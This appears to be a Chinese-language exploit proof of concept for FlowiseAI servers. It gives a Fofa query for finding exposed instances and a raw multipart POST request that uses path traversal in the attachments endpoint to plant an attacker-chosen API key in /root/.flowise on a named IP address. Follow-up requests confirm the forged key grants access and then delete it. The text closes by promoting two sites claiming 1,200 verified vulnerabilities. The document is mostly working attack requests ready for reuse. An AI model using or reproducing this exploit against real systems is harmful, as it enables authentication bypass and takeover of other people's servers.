Fofa：app=“FlowiseAI” && title==“Flowise - Low-code LLM apps builder”

STEP1:写入鉴权api：

POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2froot%2f/.flowise HTTP/1.1
Host: 3.248.28.32
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTh0yj8zypRgPT1w
Content-Length: 462

------WebKitFormBoundarydTh0yj8zypRgPT1w
Content-Disposition: form-data; name="files"; filename="api.json"
Content-type: text/plain

[{
  "keyName":"=",
  "apiKey":"24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ", "apiSecret":"8648f55db62716a6577b565efb66145b9ad8c50884c57ae8d4f03c4cd8b3ee27b1f77804d320f08bac8aa4b0dbf58a39dacbb767eb05efe1e57d5c66e5d48473.af4b3f229bd11ac5",
  "createdAt":"111",
  "id":"1111"
}]
------WebKitFormBoundarydTh0yj8zypRgPT1w--

STEP2: 查找api是否存在：

GET /api/v1/apikey HTTP/1.1
Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ

STEP3：删除写入文件，数据还原：

DELETE /api/v1/apikey/1111 HTTP/1.1
Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ

漏洞验证完成；
想看其他内容访问https://www.wlaqsys.com与https://pc.fenchuan8.com/#/index?forum=106431，实验室已完成1200种漏洞验证过程。